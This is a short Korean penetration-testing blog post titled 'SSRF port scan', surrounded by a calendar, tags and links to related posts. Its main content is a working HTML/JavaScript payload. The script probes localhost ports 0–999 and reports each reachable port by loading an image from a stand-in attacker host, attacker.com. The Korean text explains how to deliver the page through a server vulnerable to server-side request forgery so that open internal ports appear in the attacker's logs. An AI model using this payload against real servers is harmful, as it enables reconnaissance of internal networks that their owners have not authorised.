일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- self-signed
- https
- shell_gpt
- open redirect
- aes
- ssrf
- decrypt
- 모의해킹
- 스캠
- 채팅환전사기
- esbuild
- Craco
- 사진도용
- 보이스피싱 #대검찰청 #명의도용 #비밀번호 #계좌번호 #공공기관 #가짜검찰청
- Malware Sample
- 취약점
- sha256
- 변태는
- 많다..
- CryptoJS
- CJ대한통운 #쿠팡 #통관번호오류 #통관고유번호오류 #안주원팀장 #모건인베스트
- XSS
- NUGU
- 로맨스스캠
- react
- encrypt
- MongoDB #NoSQL #CreateUser #DropUser #mongod #mognod.conf
- hash
- md5
- speed-measure-webpack-plugin
Archives
- Today
- Total
annyoung
SSRF port scan 본문
<html>
<head>
</head>
<body>
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i, false);
}
</script>
</body>
</html>
SSRF가 발생하는 서버에서 doucment.location.href
나 url 파라미터에 넣어서 접속시키면 서버 로그에 /ping?port=?
처럼 남는다.
'모의해킹' 카테고리의 다른 글
XSS RCE (0) | 2023.01.30 |
---|---|
source map 파일 강제 연동 (0) | 2022.12.14 |
js source map file (0) | 2022.12.02 |
firebase exploit with firebase keys (0) | 2022.12.02 |
모의해킹 시 해시(hash)에 대해 (0) | 2022.11.22 |
Comments